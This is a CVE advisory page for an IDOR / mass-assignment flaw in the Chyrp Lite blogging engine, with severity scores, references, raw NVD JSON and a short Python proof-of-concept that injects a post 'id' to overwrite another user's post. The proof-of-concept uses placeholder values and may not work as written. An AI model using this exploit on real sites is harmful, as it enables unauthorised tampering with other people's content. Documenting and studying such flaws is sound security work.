CVE-2026-35173

Description

Chyrp Lite is an ultra-lightweight blogging engine. Prior to 2026.01, an IDOR / Mass Assignment issue exists in the Post model that allows authenticated users with post editing permissions (Edit Post, Edit Draft, Edit Own Post, Edit Own Draft) to modify posts they do not own and do not have permission to edit. By passing internal class properties such as id into the post_attributes payload, an attacker can alter the object being instantiated. As a result, further actions are performed on another user’s post rather than the attacker’s own post, effectively enabling post takeover. This vulnerability is fixed in 2026.01.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:chyrplite:chyrp_lite:*:*:*:*:*:*:*:* - VULNERABLE

Chyrp Lite < 2026.01

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for updating a post
url = "http://target-chyrp-lite.com/admin/?action=update_post"

# Attacker's session cookie (low privilege user)
cookies = {
    "PHPSESSID": "attacker_valid_session_id"
}

# Malicious payload exploiting Mass Assignment/IDOR
# The attacker modifies 'id' to point to a victim's post (e.g., ID 42)
payload = {
    "post_attributes": {
        "id": "42",  
        "title": "Hacked by Attacker",
        "body": "This content has been modified via IDOR."
    },
    "hash": "required_form_token_hash"
}

response = requests.post(url, data=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Exploit successful! Post 42 likely modified.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35173
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35173
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35173/
[4] VulDB https://vuldb.com/cve/CVE-2026-35173
[5] https://github.com/xenocrat/chyrp-lite/security/advisories/GHSA-8c3h-rh2j-fxr9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35173", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:43.523", "lastModified": "2026-04-14T15:36:44.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chyrp Lite is an ultra-lightweight blogging engine. Prior to 2026.01, an IDOR / Mass Assignment issue exists in the Post model that allows authenticated users with post editing permissions (Edit Post, Edit Draft, Edit Own Post, Edit Own Draft) to modify posts they do not own and do not have permission to edit. By passing internal class properties such as id into the post_attributes payload, an attacker can alter the object being instantiated. As a result, further actions are performed on another user’s post rather than the attacker’s own post, effectively enabling post takeover. This vulnerability is fixed in 2026.01."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-914"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chyrplite:chyrp_lite:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.01", "matchCriteriaId": "A06975FD-D52C-42B2-8842-7626FCA5A94E"}]}]}], "references": [{"url": "https://github.com/xenocrat/chyrp-lite/security/advisories/GHSA-8c3h-rh2j-fxr9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}